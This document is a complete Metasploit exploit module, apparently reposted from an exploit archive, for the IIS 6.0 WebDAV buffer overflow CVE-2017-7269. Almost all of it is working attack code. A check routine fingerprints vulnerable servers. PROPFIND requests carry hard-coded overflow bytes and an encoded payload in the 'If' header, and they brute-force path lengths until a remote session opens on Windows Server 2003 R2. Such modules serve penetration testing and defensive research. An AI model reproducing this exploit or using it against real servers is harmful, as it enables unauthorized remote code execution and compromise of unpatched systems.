Microsoft IIS WebDav ScStoragePathFromUrl Overflow

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => ' Microsoft IIS WebDav ScStoragePathFromUrl Overflow',  
'Description' => %q{  
Buffer overflow in the ScStoragePathFromUrl function  
in the WebDAV service in Internet Information Services (IIS) 6.0  
in Microsoft Windows Server 2003 R2 allows remote attackers to  
execute arbitrary code via a long header beginning with  
"If: <http://" in a PROPFIND request, as exploited in the  
wild in July or August 2016.  
  
Original exploit by Zhiniang Peng and Chen Wu.  
},  
'Author' =>  
[  
'Zhiniang Peng', # Original author  
'Chen Wu', # Original author  
'Dominic Chell <[email protected]>', # metasploit module  
'firefart', # metasploit module  
'zcgonvh <[email protected]>', # metasploit module  
'Rich Whitcroft' # metasploit module  
],  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-7269' ],  
[ 'BID', '97127' ],  
[ 'URL', 'https://github.com/edwardz246003/IIS_exploit' ],  
[ 'URL', 'https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html' ]  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 2000,  
'BadChars' => "\x00",  
'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,  
'DisableNops' => 'True',  
'EncoderOptions' =>  
{  
'BufferRegister' => 'ESI',  
}  
},  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'PrependMigrate' => true,  
},  
'Targets' =>  
[  
[  
'Microsoft Windows Server 2003 R2 SP2',  
{  
'Platform' => 'win',  
},  
],  
],  
'Platform' => 'win',  
'DisclosureDate' => 'Mar 26 2017',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'Path of IIS 6 web application', '/']),  
OptInt.new('MINPATHLENGTH', [ true, 'Start of physical path brute force', 3 ]),  
OptInt.new('MAXPATHLENGTH', [ true, 'End of physical path brute force', 60 ]),  
])  
end  
  
def min_path_len  
datastore['MINPATHLENGTH']  
end  
  
def max_path_len  
datastore['MAXPATHLENGTH']  
end  
  
def supports_webdav?(headers)  
if headers['MS-Author-Via'] == 'DAV' ||  
headers['DASL'] == '<DAV:sql>' ||  
headers['DAV'] =~ /^[1-9]+(,\s+[1-9]+)?$/ ||  
headers['Public'] =~ /PROPFIND/ ||  
headers['Allow'] =~ /PROPFIND/  
return true  
else  
return false  
end  
end  
  
def check  
res = send_request_cgi({  
'uri' => target_uri.path,  
'method' => 'OPTIONS'  
})  
if res && res.headers['Server'].include?('IIS/6.0') && supports_webdav?(res.headers)  
return Exploit::CheckCode::Vulnerable  
elsif res && supports_webdav?(res.headers)  
return Exploit::CheckCode::Detected  
elsif res.nil?  
return Exploit::CheckCode::Unknown  
else  
return Exploit::CheckCode::Safe  
end  
end  
  
def exploit  
# extract the local servername and port from a PROPFIND request  
# these need to be the values from the backend server  
# if testing a reverse proxy setup, these values differ  
# from RHOST and RPORT but can be extracted this way  
vprint_status("Extracting ServerName and Port")  
res = send_request_raw(  
'method' => 'PROPFIND',  
'headers' => {  
'Content-Length' => 0  
},  
'uri' => target_uri.path  
)  
fail_with(Failure::BadConfig, "Server did not respond correctly to WebDAV request") if(res.nil? || res.code != 207)  
  
xml = res.get_xml_document  
url = URI.parse(xml.at("//a:response//a:href").text)  
server_name = url.hostname  
server_port = url.port  
server_scheme = url.scheme  
  
http_host = "#{server_scheme}://#{server_name}:#{server_port}"  
vprint_status("Using http_host #{http_host}")  
  
min_path_len.upto(max_path_len) do |path_len|  
vprint_status("Trying path length of #{path_len}...")  
  
begin  
buf1 = "<#{http_host}/"  
buf1 << rand_text_alpha(114 - path_len)  
buf1 << "\xe6\xa9\xb7\xe4\x85\x84\xe3\x8c\xb4\xe6\x91\xb6\xe4\xb5\x86\xe5\x99\x94\xe4\x9d\xac\xe6\x95\x83\xe7\x98\xb2\xe7\x89\xb8\xe5\x9d\xa9\xe4\x8c\xb8\xe6\x89\xb2\xe5\xa8\xb0\xe5\xa4\xb8\xe5\x91\x88\xc8\x82\xc8\x82\xe1\x8b\x80\xe6\xa0\x83\xe6\xb1\x84\xe5\x89\x96\xe4\xac\xb7\xe6\xb1\xad\xe4\xbd\x98\xe5\xa1\x9a\xe7\xa5\x90\xe4\xa5\xaa\xe5\xa1\x8f\xe4\xa9\x92\xe4\x85\x90\xe6\x99\x8d\xe1\x8f\x80\xe6\xa0\x83\xe4\xa0\xb4\xe6\x94\xb1\xe6\xbd\x83\xe6\xb9\xa6\xe7\x91\x81\xe4\x8d\xac\xe1\x8f\x80\xe6\xa0\x83\xe5\x8d\x83\xe6\xa9\x81\xe7\x81\x92\xe3\x8c\xb0\xe5\xa1\xa6\xe4\x89\x8c\xe7\x81\x8b\xe6\x8d\x86\xe5\x85\xb3\xe7\xa5\x81\xe7\xa9\x90\xe4\xa9\xac"  
buf1 << ">"  
buf1 << " (Not <locktoken:write1>) <#{http_host}/"  
buf1 << rand_text_alpha(114 - path_len)  
buf1 << "\xe5\xa9\x96\xe6\x89\x81\xe6\xb9\xb2\xe6\x98\xb1\xe5\xa5\x99\xe5\x90\xb3\xe3\x85\x82\xe5\xa1\xa5\xe5\xa5\x81\xe7\x85\x90\xe3\x80\xb6\xe5\x9d\xb7\xe4\x91\x97\xe5\x8d\xa1\xe1\x8f\x80\xe6\xa0\x83\xe6\xb9\x8f\xe6\xa0\x80\xe6\xb9\x8f\xe6\xa0\x80\xe4\x89\x87\xe7\x99\xaa\xe1\x8f\x80\xe6\xa0\x83\xe4\x89\x97\xe4\xbd\xb4\xe5\xa5\x87\xe5\x88\xb4\xe4\xad\xa6\xe4\xad\x82\xe7\x91\xa4\xe7\xa1\xaf\xe6\x82\x82\xe6\xa0\x81\xe5\x84\xb5\xe7\x89\xba\xe7\x91\xba\xe4\xb5\x87\xe4\x91\x99\xe5\x9d\x97\xeb\x84\x93\xe6\xa0\x80\xe3\x85\xb6\xe6\xb9\xaf\xe2\x93\xa3\xe6\xa0\x81\xe1\x91\xa0\xe6\xa0\x83\xcc\x80\xe7\xbf\xbe\xef\xbf\xbf\xef\xbf\xbf\xe1\x8f\x80\xe6\xa0\x83\xd1\xae\xe6\xa0\x83\xe7\x85\xae\xe7\x91\xb0\xe1\x90\xb4\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81\xe9\x8e\x91\xe6\xa0\x80\xe3\xa4\xb1\xe6\x99\xae\xe4\xa5\x95\xe3\x81\x92\xe5\x91\xab\xe7\x99\xab\xe7\x89\x8a\xe7\xa5\xa1\xe1\x90\x9c\xe6\xa0\x83\xe6\xb8\x85\xe6\xa0\x80\xe7\x9c\xb2\xe7\xa5\xa8\xe4\xb5\xa9\xe3\x99\xac\xe4\x91\xa8\xe4\xb5\xb0\xe8\x89\x86\xe6\xa0\x80\xe4\xa1\xb7\xe3\x89\x93\xe1\xb6\xaa\xe6\xa0\x82\xe6\xbd\xaa\xe4\x8c\xb5\xe1\x8f\xb8\xe6\xa0\x83\xe2\xa7\xa7\xe6\xa0\x81"  
buf1 << payload.encoded  
buf1 << ">"  
  
vprint_status("Sending payload")  
res = send_request_raw(  
'method' => 'PROPFIND',  
'headers' => {  
'Content-Length' => 0,  
'If' => "#{buf1}"  
},  
'uri' => target_uri.path  
)  
if res  
vprint_status("Server returned status #{res.code}")  
if res.code == 502 || res.code == 400  
next  
elsif session_created?  
return  
else  
vprint_status("Unknown Response: #{res.code}")  
end  
end  
rescue ::Errno::ECONNRESET  
vprint_status("got a connection reset")  
next  
end  
end  
end  
end  
  
`